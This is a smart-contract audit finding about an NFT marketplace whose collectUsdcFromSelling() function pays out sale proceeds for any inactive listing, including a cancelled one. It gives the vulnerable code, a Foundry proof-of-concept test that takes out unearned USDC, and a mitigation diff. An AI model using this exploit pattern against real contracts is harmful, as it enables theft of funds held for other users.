Sellers Can Extract Fake Sale Proceeds Without Any Purchase Ever Occurring
Description
The intended flow is that collectUsdcFromSelling() should only release sale proceeds after a real buyer has purchased the NFT.
In the current implementation, collectUsdcFromSelling() only checks that the listing is inactive. However, cancelListing() also sets isActive to false. This allows a seller to cancel their own listing and then call collectUsdcFromSelling() even though no purchase ever happened. As a result, the seller can extract unearned USDC from the contract.
In the worst case, a malicious seller can first set an arbitrarily high listing price, then cancel the listing and use that inflated price as the basis for an illegitimate payout.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
-
Any seller can trigger the vulnerable state by listing an NFT, canceling it, and then calling collectUsdcFromSelling().
-
The exploit uses normal protocol actions and does not require privileged access or unusual timing.
Impact:
-
A seller can claim proceeds even though no buyer paid for the NFT.
-
Protocol-held USDC can be stolen, including funds that should remain reserved for other users.
Proof of Concept
The following PoC can be put to test/NFTDealersTest.t.sol:
function testCanCollectWithoutBuying() public revealed whitelisted {
usdc.mint(address(nftDealers), 10000e6);
uint256 userWithCash_startingBalance = usdc.balanceOf(userWithCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 4000e6);
nftDealers.cancelListing(1);
nftDealers.collectUsdcFromSelling(1);
uint256 userWithCash_endingBalance = usdc.balanceOf(userWithCash);
console.log("userWithCash_startingBalance: %s", userWithCash_startingBalance);
console.log("userWithCash_endingBalance: %s", userWithCash_endingBalance);
console.log("protocolEndingBalance: %s", usdc.balanceOf(address(nftDealers)));
assertGt(userWithCash_endingBalance, userWithCash_startingBalance);
}
Recommended Mitigation
Do not let collectUsdcFromSelling() infer a valid sale from !isActive. Instead, only credit claimable proceeds inside buy(), and let collectUsdcFromSelling() withdraw from a dedicated mapping of amounts already earned by the seller. Since cancelListing() never credits that mapping, a canceled listing cannot be used to claim sale proceeds.
+mapping(uint256 => mapping(address => uint256)) public claimableAmount;
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
+ claimableAmount[_listingId][listing.seller] += listing.price;
s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function collectUsdcFromSelling(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
+ require(claimableAmount[_listingId][msg.sender] > 0, "No claimable proceeds");
+ uint256 saleAmount = claimableAmount[_listingId][msg.sender];
+ uint256 fees = _calculateFees(saleAmount);
+ uint256 amountToSeller = saleAmount - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ claimableAmount[_listingId][msg.sender] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(msg.sender, amountToSeller);
}
